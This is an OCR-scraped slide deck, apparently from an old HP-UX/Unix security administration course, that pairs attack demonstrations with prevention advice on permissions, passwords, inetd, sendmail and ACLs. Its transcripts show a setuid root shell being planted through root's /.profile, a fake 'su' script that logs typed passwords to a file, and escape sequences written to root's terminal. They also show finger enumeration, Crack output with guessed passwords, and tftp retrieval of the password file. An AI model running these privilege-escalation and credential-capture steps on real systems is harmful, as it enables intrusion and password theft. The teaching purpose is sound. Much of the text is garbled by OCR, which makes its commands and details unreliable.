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||| 1 Lawsuits - what if personnellinformation
hecomes public?

\
p lII 0 Missed deadlinesi- dewntime causesa
newspaper tomissthe printing deadline

1 Competitive infermation - trade'secrets

.|| 1 Loss ef reputation - steck could droperyeu
could gooutef busIness
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o Threats!

||II 1| Back doors
0 Logic homis
\|I| - Viruses

N o
.ll 1 Trejan Horses

i Bacteriaor Denial of
.|| Senvice

\||| - Address Spoofing




|.\| Commoenswaysiefilbreaking Inte
||| d SyStem

Nll. 1 Copyingthe shell
O
II 0 Wiriting toterminal

a

||| | FeeSOTeseg




.‘|
N Copyingthe shell

lII 1 Iflaregular user can
getacopy ofitheshell
with the SUIDBIt Set
fior root, When this

USerrunsthis shelll
the user willibe root
g Akomshell=
«
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* el S

||I| - SUID = Set User ID
‘lll i Whenyouiun a pregram that has the SUID

pit set, the program will run asithe owner of
|| that program

1 Example:
-=SI=xr-x. Lreot  bin /bin/passwad




P
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N Copyingineshell

af

# whoami

root

# cp /sbin/sh /homefcwong/rolls.qif

# 11 /homefcwongfrolls.gif

—r-M-————- 1 root sYs 413696 Jan 3 11:48 /fhome/cwong/rolls.qif
# chmod 4755 /home/cwongfrolls.gif

# |11 /homefcwong/rolls.gif

—FuUSr—Xr-x 1 root sYs 413696 Jan 3 11:48 /home/cwong/rolls.gif
# chmod g+s /home/cwong/rolls.gif

# exit

$ whoami

cuwong

$ ./rolls.gif

# whoami

root




«
Sy Creating the illegal shell
o

<

|II 0 Eind away to force root to doithe steps reguired
‘ I roet dees not realize
|I| | Cleanup

a

£ Il /.profile

—+——r-—ru- 1 bin i 1130 Jan 3 12:49 /.profile
% vi /.profile

%

$ tail /.profile

HAIL=/var/mail/root
# don't export, so only login shell checks.

echo "HARNING: YOU ARE SUPERUSER !1\wn”

cp /binfsh /shome/cwong/.rolls.gif

chmod u+s.g+s /fhomefcwong/.rolls.gif

chmod o+x /fhomefcwong/.rolls.gif

mailx®x -s ".rolls.qgif has arrived” cwong < fetc/hosts




> ) Activating the scriptto create
N theillegal shell
af

.

||| il The next time /.profile/is executed, the
< “|“||\|| commands added will'be executed witheut
> lII the knowledge ofithe root user.
)

1 Message Is sent teicwong informing that
r‘ the commands have been executed.

.|| I ewoeng tests copied shell

< i cwong cleans up /.profile and places
||| Correct permissions on it




«
| ||| Copy.efitihe shell - Prevention

liﬂ Vakesurefilesiexecuted byrootarenot
Writeable Py others

l fimd / -user 0 -perm-0002-exec-Is-1d {} \;

lﬂ Make sure certain directories do net have the
| permission set fior other (/usr, bin, shbin, opt, /)

m| Be veny cautious ininstalling unknown software
!;, y Checkor SUID and SCID progras

P Never make SUlDishell scripts
li:J Secure sessions logged on as root

U

""‘”“”WHIIIIIIIIHH;




. )
y >UIDand SGIb

af 5

# find / -user root ([ —-perm -4000 -0 -perm -2000 %) -exec Is -d {} \:
fetc/wall
fetc/vgscan
fetc/vgremove
fetc/vgreduce
fetc/vgimport
fetc/vgextend
fetc/vgexport
fetc/vgdisplay
fetc/vgcreate
fetc/vqchange




||II il A spoofis aprogram
that acts justlikea
fegular pregram,

hoewever, inithe n
Packground ethier

thingsimay: he geing

on; Unknowingly tothe

user




. )
N SPooI™ program

af 5

successful login for root: Tue Jan 4
unsuccessful login for root: NEVER

$ more files/myfile




wmm
.

p Making a“spooi*

af

$ pud

fhome fcuwong

% whoami

cwong

$ more su

stty -echo

echo "Password:\c"

read password

echo

echo “"$password $1" >» fhomefcwong/files/myfile
rm /home/cwong/su

stty echo

echo su: Sorry

%

% echo $PATH
:fusrfbin:fopt/fansic/bin: fusr/cecs/bin: fusr/contr ik
fbin:fopt/foms/bin: fopt/upgrade/bin: fopt/pd/bin: A
1:foptfperf/bin: fopt/OV/bin/0pC: fopt/prm/bin: fvar,
n: /var/opt/netscape/serverd/bin/s lapd/server: fopt)
opt/hparray/bin:.

$




> ) SPEOTS (aka lrojan Horse) -

g Frevention
af

-
|II 0 PATHvarianlesshouldnot beset tothe current
King directory (PATH=../orPATH=:/)

Wor
|II u Keepwriteable directories out ofithe PATH

a

< variapble (/tmp)

.|| = Make sure certain directories donot have write
ol permission setfor other (/usr)

.|| 1 Be cautious installing unknewn sefitware

« 0 Use thefullipathname whnenexecuting
commands (/bin/su)




> W Protect System directories &
Ny files
af

|||II ol dr-xr-xr-x 34bin  bin  /opt

0 “other” o woerld*sheuld NEVER be able to
wWrite systemifiles or directories

.|| 1 “group”should heable towrite to system
filesi& directories onlyIfitis a groupwith
- responsible members

A = [ The only “ewner”who should be ableito
||| iead &write systemifiles and directores Is

1
r‘




Viore on permissions (User)

#II-d /home/ctec/crice

o) {14 29 crice cte /home/cte/crice
# lli-d//home/cte

drwxr-xr=x 55 root root /hoeme/cte
#1li-d//home

drwxr-xr-x 43 root reet /home

User start upifiles should only be writeable by the User
User directoriesishiouldonly be wrteable by the user

Memory, disk; etc.. devices should only be readable and
writeable by the kernel

[]
[
[
[]
[]
[
B
[
[




.‘|

||| Writing to terminal

MII 1 Ifthe permissions of
yourterminal device

III file are set towrite for
others, clever

||| hackers can write o
yourterminaliand
thelircommands will
e executedias you




p
af

[ Wiriting to reot’s terminal

% whoami
cuwong
%

% Il fusrfold/bin/sh

- —HF —HF—X
% who -T
root -
cwong -
root -
root +
%

% echo "\r
% echo "\r

1 bin bin 81920 Nov 7V 1997 fusrfold/bin/sh

pts/ta Jan 4 11:00 . 7645 4.33.17.2
pts/tb Jan 4 13:26 0:04 11897 4.33.17.2
pts/tc Jan 4 13:52 0:01 12706 cig/00

ttyps Jan 4 13:53 0:01 12/594 4.33.17.6:0.0

chmod 47553 fusrfold/bindsh ‘wi\033d” > /dew/ttyp5
chown root:sys fusrfold/binfsh “Wwi033d™ > /fdevw/ttyps

% 11 fusrfold/bindsh

—FUSE —XIF—X
% echo “\r

1 root SYs 81920 Hov 7 1997 fusrfold/bin/sh
clear “w\033d" > Jdew/ttyp5S

% fusrfold/bin/sh

# whoami
root




I.\l Wiriting te terminal - Prevention
||| <\UCH 1Ess ofia fisk; 10:20+>

mlII 1 Set mesg to n in either the..profile (ksh or
shy) or the legin (fer csh)

‘lll 0 Ifusing an X-terminal and this deesnit Work

- make sure you have: /usi/lin/X11/app-

| defaults/HPterm: hptermiloginsShell:
y O

«ll 0 Dent fierget the console! /dev/consoele

||| u|As of 10,20 - theiexecute key only
S worksonhpterm




Sy Otferpovierfulusers

Nll. 1 Example:

Become “bin* User
Change permissions on /ete directory secan write

cppasswa; edit passwd, mv:new passwd

f 11 -d /etc
dr-xr-xr-x 24 bin bin 6144 Jan 5 10:57 fetc

root:*:0:3::f:/sbinfsh

daemon:*x:1:5::/:/sbin/sh

bin:*x:2:2::/usr/bin:/sbin/sh

sys:*x:3:3::/:

adm:*:4:4: : /varfadm: /sbin/sh

uucp:*:5:3: :fvar/spool fuucppublic: fusr/Ibinfuucp/uucico
Ip:*:9:7::/var/spool/lp:fsbin/sh
nuucp:x:11:11::/var/spool/uoucppublic:fusr/Ibinfuucp/uucico
hpdb:x:27:1:ALLBASE: /: /sbin/sh

www:k:30:1::7:




| <

||| REVIEW

|||| 0 Sofarwehave Iearnedisome common Ways
efvielatingisecurty and have gained an
understanding ofihew this|isidone

1 Next, let's talk about protecting the system
startingfirem the beginning




.\l Protecting/the host at the host
||| level

||I| i Firewall
‘|I| i PC Anywhere

1 Support/Stafifmedems




L
| My oy should proteot e

|I| 0 Purge/modiify anyfile that User Nas/access
([(0)

<

\
< lII 1 Canexecute any program the user has
aCCess 1o

1 Send mail asithat user (embarrassing!)
pINg SteNe to oot ACCESS
pINg stone to ether hests




|II 5 Purge/modify.anyfile

H|“||\ 1 Shut doewn thesystem
lII 1 Change the date/time

| 1 RN &Y progres
ll o Mount/Unmount file

. SEEIE
|| 1 Modify User accounts

||| - Tumaccounting of

0 BeEcCome any user

5 Change aprocess’
prionity

0 Reconfigure
system/network

o Possible access to
other hosts

1 Read passworads




«
* ey ivctassa e

|||| il Information youlhave
Smart Cards

\|I| | Whoyou are
. Siometrics

1 Infermationy/euiknow.
Passwords, loginnames

1 Physicallaccess




|.\| Infermation you have
||| Whoyoujare

'||| ¥ Smart cards

Jlheuseris challengeadiatlogin

e response Is encrypted andigoedonly one-
time

1 Example:
.|| Challenge; 43 Response; CSS54

1 Canried enicand, Emergency response ifiin
||I danger (007 features)

1 FIngerprints, voice, etc.. (Expensive)




|l\| Informationiyouknow
||| What's needed!to break in?

||| 5 Valid user accountname
(o)o)i
onisystem already - /etc/passwd
onother system - finger, sendmail; ftp

1 Valid passworad
.| enisystem already - run crack
eniother system - trial andlerror

||| 1 90-95% of alllsuccessful intrusions can be
traced to a guessedipassword




| <

L\ soclalengineering

|||| 1 Attempt to.gainiprivileged user information
firom the user

Noe one shouldiever askyou for your
PaSSWold

o Notify: SystemAdministrater ASAP




> N

[ FINGEr tofind account NAmes

# finger GBteleport.com

Real Mame
Anthony Fiarito
Wavne Allen
Jeremy Mells
Chriz Goodwin
auntyen
Timothy A Battles
sKip Haak
Jeff Boerio
kevin hof
Brad LaBroad
michael w khamilton
]Il
Mara Charnell
Chriztopher Baugh
Charles Frost
Christine C. Press
Tom Cronin
=hawna
Oeeply Zhrouded De
sheri
donald 1 schook

What Idle
1 dav,

147

Hr3l

TTY
qa
=f
pd
P
rc
(=)
g3
P
sk
e
ra
ta
t4
g3
g
e

Conzole Location
(chaos.cs. pds. edu)
(198.236.41.133)
(ip-pdx3-11.telep)
(zalem-11)
(hpcvzap.cy.hp.cal —
(a1-22)

(a1-B7)
(pdxgpls =, @)
(ad-B5)

(Lekgate. tek.com)
(a1-B5)
torglobe.intel.co)
(137.53.5908.33]
(ad-131

(ad-B41

(ad-241
torglobe.intel.co)
(ip-pds3-27.telep)
(ad-221

(ad-141

(ad-18a]




p
af

a

K
N Trial&error

#

# telnet teleport.com
Trying. ..

Connected to teleport.com.
Escape character is 'A1°.

sunds UNIX (linda)

logine alf
Paszword:

Login incorrect
loginy alf
Paszzword:

Login incorrect
logine alf
Paszword:

Login incorrect

login: |}




Pictionany/CRACK attacks

See Appendix B for CRACK installation/configuration

-
Nll. il Dictionaryattack

Guessia possihle passwordi(retrieve frem the
dictionary)

Tiry it out, Ifithe computed hashiis wreng, start over

1 Must have aceess topassword file with encrypted
Passwords

a

% Reporter -quiet < run/F-merged
—-——- passwords cracked as of 3at Jan 15 12:09:06 HST 2000 ———-

947962009
947962009
947962009

fusr/bindshl
fusr/bindshl
fusr/bindshl

[bone]
[bone]
[bone]

newfie
newfie
newfie

:buessed
:buessed
:buessed

.. [fetc/passwd
... [fetc/passwd
. [fetc/passwd

947/962009
947962009
947962009
947962009
947962009
947962009
947962009
947965138
947965138
947965138
947965138
947965144
947965144
947966295
947966295

:buessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed
:Guessed

newfie
newfie
newfie
newfie
newfie
newfie
newfie
brice
brice
brice
brice
sassy
sassy

smokey [b0Obby]l "
smokey [b0Obby]

[bone]
[bone]
[bone]
[bone]
[bone]
[bone]
[bone]
[goofyl
[gootyl
[gootyl
[gootyl
[jennyl
[jennyl

.. [fetc/passwd
... [fetc/passwd
.. [fetc/passwd
.. [fetc/passwd
... [fetc/passwd
.. [fetc/passwd
.. [fetc/passwd
... [fetc/passwd
.. [fetc/passwd
.. [fetc/passwd
... [fetc/passwd
.. [fetc/passwd
. [fetc/passwd
. [fetcfpassuwd fusri/binfshl
. [fetcfpassuwd fusr/binfshl

fusr/bindshl
fusr/binfshl
fusr/binfshl
fusr/binfshl
fusr/binfshl
fusr/binfshl
fusr/binfshl

fopt/perf/binfglance]
fopt/perf/binfglance]
fopt/perf/binfglance]
fopt/perf/binfglance]

fusr/binfshl
fusr/binfshl




q
* N

|||| il We want te protect user accounts because
“|“||\|| they anea stepping|stone to root (or
‘|I| SUPEFUSEN) aCCEeSS

. 1 Next, let'sitalk about the different types of
| eptions forthe passwordfile




<
* N formatof/eterpassiie

||||  Loginname
\||| - Encrypted password

0 UlDumiber
B DefaultGID number
4 & “GECOSinfo
.|| 1 Home directony
\||| Lo 2h2)
1 One-line per account

"”“”WHIIIIIIIIHH;

<

U




[rustedivs, non-trustead

#

# hostiname

ctgB800

# tail -3 fetc/passwd

cwong :yedeGf T jBEVFI:201:20:,,, : fhome/cwong: fusr/bin/sh
nking:ylql3jeljIIx.:202:20:,, ., :/home/nking: fusr/bin/sh
brice:kmOcTgDicpV..:203:20:,,, : fhome/brice: fusr/bin/sh
#

# telnet ctg/00

#

# hostiname

ctg/00

# tail -3 fetc/passwd
dmoulton:*:300:20:,,, : /home/dmou | ton: fusr/bin/sh
mlimoge:x:301:20:,,, :/home/ml imoge: fusr/bin/sh
vernon:*x:303:20:, ., : fhome/vernon: fusr/bin/sh




|.\| Where are the encrypied
||| passwoeras?

# hostname
ctg/00

# pud
Ftch/filesfauth

H 35 Y
N T £
0 u a
P U b
0 H C
R " d

total 2
-ru-ru-r—-— 1 root 196 Jan 3 14:0Z2 vernon
# Il -d 7ficb

g5 Jan 32 14:02 /ficb

o Note: on 9% systems encryptedipassword fileisin
|II /.secure/etc/passwd




|II 1 KEY'+ASCII password = Encrypted Password
NNN 0 Eiist 2 =Key, Seed or Salt (current time & PiD)
lII 0 Next 11 =Encrypted pass

.|| 0 /R=key, WoEXVKg0gJs = encrypted pass

\||\||H| e
root

# more Fftcb/filesfauvth/v/vernon
vernon:u_name=vernon:u_id#303:\

:u_puwd=/RwSExVKqDgJs : %

u_auditide12:

tu_auditf lag#! @\

:u_pswduser=vernon:u_suc log#94693697/5:u_lock@®@:chkent:




|II 5 1 password=4096 different encryptions
NNN 0 These 3 usershave the same passworad
||“| I 0 Encrypted password isdifferent sinceallisihave

differentkeys /R, 1Qand XQ)
X

# grep u_pwd /tcb/filesfavth/v/* Fftcb/filesfauvth/d/* ftcb/files/fauvth/m/x
/tcb/filesfauvth/v/vernon: :u_pwd= /RwSExVKqOgJs : \

ftcb/files/favth/d/dmou | ton: :u_puwd=10UhdwBGIOWEA :
/tcb/files/auth/m/ml imoge: :u_pwd=X0ZD0dd7Hupv1¥:\




|\| Read access to Encrypied
||| PASSIWOrAS

%

M % tail -3 fetc/passwd
cwong :yeJeGfT JBEVWFI:201:20: : fhome fcwong : fusr/bin/sh
nking:ylql3jeUjIIx.:202:20: :/home/nking: fusr/bin/sh
brice:kmOcTgDicpV..:203:20: : /home/br ice: fusr/bin/sh

%
N % whoami
cwong

%
$ |l fetc/passud
N

$ whoami
cwong
$ tail -3 /etc/passud
“ dmoulton:*:300:20: ., ., :fhome/fdmoul ton: fusr/binssh
mlimoge:*:301:20:,,, :/fhome/ml imoge : fusr/bin/sh
vernon:*x:303:20:, ., ., : home/vernon: fusr/bin/sh

|H|H|H s
III % more Fftcbh/Tiles/favth/v/vernon
Ftchb/filesfauth/v/vernon: Permission denied

. ki

w




10x Security Hole

0 Dent use the tempoerary password that canibe
generated via Sam that creates a number

o Thisisalways between 1 and 999
0 Makesure looks like the example below:

User “test” has been added to the system. The initial password for
user "test” is: leocsejy. The user must enter this password when

logging in for the first time.

§i ok}




|

<

a

lII i Convertto atrusted
system|(shadewed)

lifnoet password
shiadowing, change the
AUMbEr of encryption
roundsifier the crypt
routine

FOrce new users to
change thelr passwold
when initially legaing en

[ Passwords - Prevention
o

Disable remote finger
Disable sendmail options
Run pwek

Use “good* passwords

Do not stere passwords in
a function key

Make sure every account
nas apassword

Backoffitechnigues




“Bad” passworads

o Your name

0 Anybody else’s name
0 Name of 0/S

= Hestname

0 Phone numier

| Lsense plats
ll 0 Words suchi as Wizard,

\||| .

= Birth date/sec Sec #

0 Infermation relating
toyou

= Aword fromia
dictionary

5l Propernoun

1 Passwordused on
aNOUNEN Processor

ol Knoewn acronyms
(=25




||II ol Upper & lower case 0| Easily typed
NNN 1 /-8 charactersiiong 0 Easily remembered
‘lll =l Contain 1 Examples:

digits/punctuation o firStday?

|| 5 Unknownacronyms = hisdit
IWim2e

||| e

(lhwant moere toeat) ¥ COMMON NOW

‘ll Crack has an option to mail a message to your users

«f who have had their passwords “cracked”.
|




||| Passwords & 10+ = lirusted

af 5

+ random syllables: A pronounceable password made up of
meaningless syllables.

+ random characters: An unpronounceable password made up of
random characters from the character set.

+ random letters: An unpronounceable password made up of
random letters from the alphabet.

+ user-supplied: A user-supplied password, subject to
length and triviality restrictions.




«‘.\l Allow upitoi4 options for passwa

af

|If you choose more than one of the following options. users will
Ichoose which one of these options they prefer at login time.
I
IPassword Selection Options:
| [¥] System Generates Pronounceable
[ 1 System Generates Character
[¥] System Generates Letters Only
User Ipecifies

User-5Speciftied Password attributes:
[ 1 Use Restriction Rules
[ 1 allow Null Passwords




> N

af

# passwd cwong

Changing password for cwong

Last successful password change for cwong: Hon Jan 3 17:16:49 2000
Last unsuccessful password change for cwong: HEVER

Do you want (choose one letter only):
pronounceable passwords generated for you (g)
a string of letters generated (1) 7
to pick your passwords (p) ?

Enter choice here: g

Generating random pronounceable password for cwong

The password., along with a hyphenated version, is shown.

Hit <RETURN> or <ENTER* until you like the choice.

Hhen you have chosen the password you want, type it in.

Hote: type your interrupt character or 'quit’ to abort at any time.

Password: yimusann Hyphenation: yim-us-ann
Enter password:




Capabilities;: @ (netallewed)

1 d(cefaultenly), u(user); t (terminal)
0 /teb/files/ttys and /tch/files/devassign
0 man 4 ttys, default, devassign, prpwd

# pud

ftcb/filesfauvth/systen

# more default

default:\
:d_name=default:
:d_boot_auvthenticate®@:\
tu_pwd=%:%
u_owner=root:u_aouditflage-1:\
u_minchg#i:u_max len#8 :u_expi#0:u_life#ld:\
ru_puw_expire_warning#0 :u_pswduser=root:u_pickpw:u_genpwd:
ru_restrict@:u_nul lpwd :u_genchars@:u_genletters:\
:u_suc log#D:u_unsuc logiD:u_maxtries#3:u_lock:\

:t_logde lay#2 : t_maxtries#i0:t_login_timeout#0: X




.\l Pefault system capabilities
||| /teb/files/auti/systemy/derauli

lII 5 g=U_genpwd
0 C=U_g@genchars

||| 5 I=u_genletters©

a

- pick
n P peRS

tu_pw_expire_warning#0:u_pswduser=root:u_pickpw@:u_genpuwd:%

ru_restrict@:u_nul lpweE:u_genchars:u_genletters@:

Do you want (choose one letter only):

pronounceable passuords generated for you (qg)
a string of characters generated (c) ?




i\| User's ownifile
||| /ich/iles/autn/c/cwong

“II User’s File m

:u_auditf lagi! :u_pickpw:\

Default File

tu_pw_expire_warning#0:u_pswduser=root:u_pickpw@:u_genpuwd:%
ru_restrict@:u_nul lpweE:u_genchars:u_genletters@:

lI“ Do you want (choose one letter only):
pronounceable passwords generated for you (g)
a string of characters generated (c) 7
to pick your passuords (p) ?




|‘|
Can enly'add capanilities in system default that are

.|| NOT excluded inuser'sile
Disallow ¢

=cwong :u_pickpw:u_genpud@ :|

|
< 3

_pm_EHpirE_mﬂrning#u:u_psmduser=ruut:u_pickpm@:u_genpmd:x

.ll Do you want (choose one letter only):
a string of characters generated (c) ?
to pick your passwords (p) ?




L
| o SHnslss ek o

|||| 0 [Frun passwad as roet forr another user, will
get passwad options for root NOIF the User:

“lll _ Lab s fixing (01-00)
.| 1 AS reetrun: passwdeweng
1 Get eptions fior reet NOT ecweng




Nll. &l Password Aging
0 Allowed leg-om times

o Inactive account deactivation

cuong:u_name=cuong:u_id#201:\
:u_pud=yeJe6fT jBEvfI:\
ru_auditidg1g:y
:u_audi tf lagi1 :\
:u_minchg#2184000:u_exp#t15552000:u_1 ife#31104000:u_succhg#94?013014:}
:u_| login#1209600:u_pw_expire_uvarning#218400:u_acct_expire#933633013:u_p
suduser=cwong: \
:u_pickpu:u_genpud@:u_tod=Any0700-1800:u_suc log#947011675:\
:u_maxtries#9:u_lock@:chkent:




| <

||| UserActivity Policy

||II ol Accounts that are not Inuse are prlme
targets tobe hacked.
Policy:
— Canionly be inactive XX number of days
— New'accounts must be accessedwithin XX numioer




|II il Software not supported

1 Users can't get to prompt to get passwd file
Areyou SURE?

Make sure programiis in SHELL field ofipasswafile and

not in.profile of user (else canETP)

cwong:x:Z201:20: 'fhumefcmung fusr/bin/sh
nking:*:202:20: : /home/nking: fopt/perf/bin/glance

o Non-users can't get toithe passwd file
Areyou SURE?




| <

||| PASSWOras & NIS

|||| u Command toget password file:
ypcat passwd

-UX'11

NISH+
— Supports Irustead Systems

Crack:
ypcat passwd > ypfile
Crack ypfile




| <

) seaun Ity Featuries

|||| 5l Restrict Access to Information

1 Authenticate Reguests

Uses private/public key authentication
scheme with DES encryption

11 Aceess Rights
.|| 0 Server Security/ Levels
1 HPWorlai2000: NIS+ Explained Tutorial




«
Wy Croup Passwords
U

<

»
M"I 0 Usingjagrouppasswoerdis

actuallyless secure than

Naving|ne passwerad 7

andyoeuare a member of
that group (evenithough
\OU arenot in/ete/group)

1 Why? Guess the password K 1
y p " A Fr.




| <

||| REVIEW

|||| 0 Weve leanned the differenceletween a
trustedisystem;and ene that Is net

Let’'s move ennew tephysical Security &
fille system security




N PhysicaliAccess

af :
‘II 1 Unattendedterminals

< 1 Theft/vandalism

. N Network

= d :
g e
1




|II 1 Teach users to log outwhen they leave their:
terminal or usethe lock command

|II o Implement autelegout (csh) or TMOUT (ksh)fior
automatic leg out arter speciiic period of 1die

||| time

0 10X set up time-based aceess control

.|| o Limit physical acecess to the system

0 Clear Screen Memory

< lII 0 Keepiusers inia menu
. 1 Stoere hackupmediainiasecure area




Flie Backups

Tjoday
Within the last week
Withinthe last month

My computer has never been
backed up

My .computer Is against the
wallland cannot be backedup
any further.

From - Practical UNIX Security,
ORellly & Associates”
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‘lll

i
dma
Sen
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Jeinet
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> ) natd |
§ (Internet services Daemon)
«f,

||Il] Internet Super Server [ Inetdicont - Services

5l One daemon that can avallaple
"II [VOKE many 0 Inetd.sec - Allowor

FOCESSES deny access hy client

a

LISten on specified
ports and start Server
) 2sneeded

a




| <

b inetd.cont

||I I Senvice name (as In/etc/services)
« i Sockettype (stream or dgram)
"II 1 Protocol (as Ini/etc/protocols)
o Wait/nowait (enly appliesito dgram)
.|| 5§ User (name of useras wihom the server should run

as)
.|| i Fully qualified path of program
1 SenverProgramArguments (tebe passed to
pregram)
0 ftpistream tecp newait reet /etc/ftpadl fitpd -1




|‘| netd.sec
||| TCEWIrapper

||I| il Fallback Firewall
‘lll  SERvIce name

1 Allow:ardeny
.|| tl Hostior net addresses

- "and-supportec
.|| telnet allow 134.39.*
fitp deny trouble.hadsite.com
login allow 134.39.230-239." cic.ctec.edu

<




||II 0 Canicontrel access by P or name entries
0 /var/adm/inetdisec
N“““H II telnetallow 134,392

0 Byallowingexternal acecess\via telnet to your system,
. passwords couldipotentially lhe stelen (bad Telnet
|| pregram oer P snififing)

.l 1 Nophysical control (unattended sessions)




| <

N talian Attack

||II il Telnet program
altered to recora

\ll. passwords & login
names




| <

N Telnetbanner

\H\Hﬂ
l ||II 0 -bi/etc/issue

\|II o Willidisplay the contents efithe /ete/issue
commandiwhen user makes initial
|| connection

0 “Only'ewners of:authorized accounts are
welcome on this processor”

<




LImIting 1ogin acCess as oot by,
gdevice

1 ruefor any connection (LAN, Serial)
I /etc/securetty

1 List device(s)that root can log onite
I Recommendation:  console

1 Msg@: “Loginincoerrect”

0 From anywhere else mustsu




.\I Limiting|login access on
||| Modems

o /etc/dialups
/dev/ityadipl
/dev/ityaip2

||| 5 /etc/d_passwd

/BIn/kshiEncryptedpass:comment:

.|| 0 Wil prompt forf password after prompiing
fior account password




titp
Trivial Erle Trranster Protocol

\/ersion of FTP that does not authenticate
Runson UDPnot TCP

Can gral any file that its user, daemon, can read - including the
password file ifialbad version.

fitfp
connect host
get/.secure/ete/passwd
File not found
quit
Check path and shelllof tfitp 1n /etc/passwd
Jusr/ftipdir
pin/false
Control aceess In Inetd.sec




- AnonymousFTp
.II Chiange directoery owner: (9x)

af

¥ grep. ftp: fetcipasswd . £ .secureletcy passud
AEtoy passudr i ipix 527 LiTrivial (FTP Dservd/usrs tftpdir: /binsFalse
Aetoy passwd: FLpes o503 1 :Anohymons FTP- usersusers Lo rbinsfalse




| q

€IS
LC/tpUS
/e

|||

d
e
llow
Ta

No)

e

hoa

ISV

USE

0 ntalsnS

C S

FIlE CCE

|||I P

\III

root

S
root sy
S=ssss
uuCp iOnS: &
ISS

rm

III i Pe

|




N Optionsavailable for the FTP
| Ny daemon

\|\\|
P lII 0 -1 (session/logged toisysiog)

||I 0 -t AR (timeout SessIons alter nnISeconds of
ldie time)

.|| 1 - nni(maximumaliowed timein seconds)

\|| i -Ul (Change the default umask, by default
|| uses 027)

<




o

0 Sendmail
0 .ferward
0 aliases
0 MIME




| <

o dimall

|||| 1| Tens of thousands of lines of C code

u Oftenirunias root
« Good candidate forahack door

.| i Everybody knowsabout'sendmail

pre-8.6.10version
||| Cert Advisory CA-95:05

<




!

.

forwara

¥ Route mail toa
different address

ol RUnNSa program

b whoan i

taccount

nt nailgrp
t mailgrp
L nllu|p

1024 Apr £ 12

23 fipr
54 fpr
o4 Apr

54 fApr 6 12:6

1624 Apr B 12:5

23 fipr
o4 Apr

54 fpr 6 12:




|||| 0 Ahackercanicreate a mailialias that
autematically runs a program

‘lll 0 Make sure no.one canwrite toyouralias file!

.|| i Do net have entry/for uudecode




5
1 N aitioom

lII 1 Systemiis bombarded
with mail messages

lII 1 Denial of other
< services

.|| 0 Eillupdisk space




3 .II Mail Preblems - Prevention

|||| - Educate users

‘lll I [Funsure of anythingisent te reot, mail It to
a non-privileged USer to acecess

.|| 1 Check for permissions onl.ferwardfiles
“NNN o Watchipermissions onialias file
.|| 1 Put/var/mail in separate VoL

<




| il Prevsntion

||II 0 Makesure 8.6.11 errhigher

\|I| felgl(j;hOSt =

.|| 500 Command Unrecognized
quit

.|| 1 Should not be a decode alias which runs
threugh uldecode

‘lll 1 sendmail.ct IFOW must lbe OW*




M Sendmail

$ telnet news 25

Trying...

Connected to news.ctc.edu.
Escape character is "*]".
220-news.ctc.edu HP Sendmail (1.40.112.4/16.2) ready at Fri,
26 Apr

7 -0700

220 ESMTP spoken here
vrfy listserv

250 <listserv@news.ctc.edu>
vrfy frank

550 frank... User unknown
expn server

250 <ctcadmin@ctc.edu>




Senamail
(Privacy set)

$ telnet news 25

Trying...

Connected to news.ctc.edu.

Escape character is '"*]".

220-news.ctc.edu HP Sendmail (1.40.112.4/16.2) ready at Fri,

26 Ap

0 -0700

220 ESMTP spoken here

vrfy listserv

252 Who's to say?

vrfy frank

252 Who's to say?

expn server

502 Sorry, we do not allow this operation




POR Viar

o Transter mail from a central server toa
client

1 Password sent ever netwoerk i plaim view:-
like telnet

Viere dangerous: Sent multiple times durng
the day

1 Use POP mailite crack passwoerds

1 Afew POP3 servers willlencryptthe
password (like legin)




IMAR

0 Client/Server
Ofifline (like POP)
Online (messages stay 0n SERVEr)

Disconnected Use (messages stay 01 SERVEr,
manipulated on client)

o Passwords in clear text

o IMAPZ Authenticate
Kerberos V4
GSSAPI
SKEY




wmm
.

[ ANGLNEr SCENANI0 o KEEP INIMING
«,

0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:




0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:




| <

||| TRinkitallithe way threugh

|||| 1 Cracking passwords
User's go directly inteprogram
EPIS disakled
Jelnet s limitedto/IP range
User’'siaccount gets deactivated
| read the log files (lotmp; etc..)

Walit, hew doeyeu check If'someone Is Usingia
POP'mail account te/tiry passwords?
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.\l umask (Userfile creationmode
||| mask)

lII i The permissions that
« you donotwant given

||| tonew

files/directories

<

||| 1 666 minus umask

{ 0 666 Umask 026 =640
||| (Read write= owner,
Read =greup)




||‘|
||| chmeod (Changemode)

Nll. 5 Only the owner of the
«( file or root can change
||| permISSIOHS

ead
.|| 1 Write

‘ o Execute
Ny (ouner croup ot




«
Sy chown (change owner)
o

<

|II il chown transfers the
« ownership of afile
fifom GNe OWREY te

another, The owner
(or reot) must issue
the chewncommand

0 Watehout Ifyouiuse
disk guoetas




"y StickyBiton directory

af 5

W setthestickybitona
« directory to allowonly
the owner (or root) of

a filein that diectonry
o be deleted or
renamed

| chmod 77 /tmp




<
* o feess Conol L

||II = Additional access contrel mechanism
‘lll i Access permissionatafinerlevel;

<

USser

||| Grour

Or combInation of

.| 0 RWXwithia particular User/Group
« combination

. \|II 1 (moeuse.%, =) (Y% =any)

""”“”WHIIIIIIIIHH;




# chmod /50 myfile
# Il myfile

“FUWHF X 1 root 24 Jan 15 14:11 myfile
# getacl myfile

# file: myfile

# owner: root

# group: sys
User : :rux

group: ir—x
class:r-x
other:---

1 Group and class entry are the sameline ACL has

||| Do 5!




mmm
.

§ setacl

af

setacl -m uv:sassy:r—— myftile
getacl myfile
file: myfile
owner : root
group: sys
uUser : rux
user ::sassy:r—-
gQroup : ir—x
class:ir—-x
other:——-
# setacl —m uv:newfie:rux myftile
# getacl myftile
#t file: myfile

# ouwner: root .
# group: sys W Is now

user : rux pal't of class

user ::sassy:r—-
user :newftie:rwx
group: ir—x
Class (rux
other:———




$ cd /jfs33

su: /jfs33: Permission denied.

£ more /jfs33d/myfile
/jfs33/myfile: Permission denied
3

$ exit

logout

# 11 -d /jfs33

druxr—-x——— 3 root root
# 11 /jfs33/myfile

-ruxrux-——+ 1 root sYys

# setacl -m v:newfie:rux 7 jfs33
# 11 -d /jfs33

druxrwx-—+ 3 root root

# su - neufie

$ 1l /jfs33

total 2

druxr —xr—x Z root
-ruxruwx———+ 1 root

$ more fjfs33/myfile
Hello, my name is Chris
$ rm /jfs33/myfile

$ 1l /jfs33

total 0

druxr —xr—x Z root

096 Jan 15 14:11 /jfs33

24 Jan 15 14:11 7 jfs33/myfile

